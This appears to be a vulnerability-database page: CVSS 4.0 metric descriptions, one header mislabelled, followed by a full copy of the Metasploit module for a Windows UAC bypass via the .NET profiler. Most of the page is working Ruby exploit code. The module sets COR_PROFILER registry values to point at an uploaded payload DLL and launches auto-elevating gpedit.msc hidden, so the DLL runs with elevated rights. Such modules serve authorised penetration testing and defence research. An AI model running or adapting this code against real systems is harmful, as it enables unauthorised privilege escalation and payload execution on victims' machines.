The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Windows Escalate UAC Protection Bypass Via Dot Net Profiler
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
'Description' => %q(
Microsoft Windows allows for the automatic loading of a profiling COM object during
the launch of a CLR process based on certain environment variables ostensibly to
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL
that will be launched as the profiling thread. This thread will run at the permission
level of the calling process, so an auto-elevating process will launch the DLL with
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR
process, but others would work, too.
),
'License' => MSF_LICENSE,
'Author' => [
'Casey Smith', # UAC bypass discovery and research
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
'bwatters-r7', # Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'References' =>
[
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
],
'DisclosureDate' => 'Mar 17 2017'
)
)
register_options(
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
)
end
def check
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if not registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
registry_hash[:delete_on_cleanup] = false
end
registry_setvaldata(registry_hash[:key_name], \
registry_hash[:value_name], \
registry_hash[:value_value], \
registry_hash[:value_type])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
end
def remove_reg_value(registry_hash)
# we may have already deleted the key
return unless registry_key_exist?(registry_hash[:key_name])
begin
if registry_hash[:delete_on_cleanup]
vprint_status("Deleting #{registry_hash[:key_name]} key")
registry_deletekey(registry_hash[:key_name])
else
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_error(e.to_s)
end
end
def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "gpedit.msc"
vprint_status("target_filepath = " + target_filepath)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
payload_pathname = tmp_dir + '\\' + payload_name
# make payload
vprint_status("Making Payload")
vprint_status("payload_pathname = " + payload_pathname)
payload = generate_payload_dll
uuid = SecureRandom.uuid
vprint_status("UUID = #{uuid}")
reg_keys = []
# This reg key will not hurt anything in windows 10+, but is not required.
unless sysinfo['OS'] =~ /Windows (2016|10)/
reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
value_name: '',
value_type: "REG_EXPAND_SZ",
value_value: payload_pathname,
delete_on_cleanup: false)
end
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER",
value_type: "REG_SZ",
value_value: "{#{uuid}}",
delete_on_cleanup: false)
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_ENABLE_PROFILING",
value_type: "REG_SZ",
value_value: "1",
delete_on_cleanup: false)
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER_PATH",
value_type: "REG_SZ",
value_value: payload_pathname,
delete_on_cleanup: false)
reg_keys.each do |key_hash|
write_reg_value(key_hash)
end
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status("Launching " + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
# wait for a few seconds before cleaning up
print_status("Please wait for session and cleanup....")
sleep(20)
vprint_status("Removing Registry Changes")
reg_keys.each do |key_hash|
remove_reg_value(key_hash)
end
vprint_status("Registry Changes Removed")
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end
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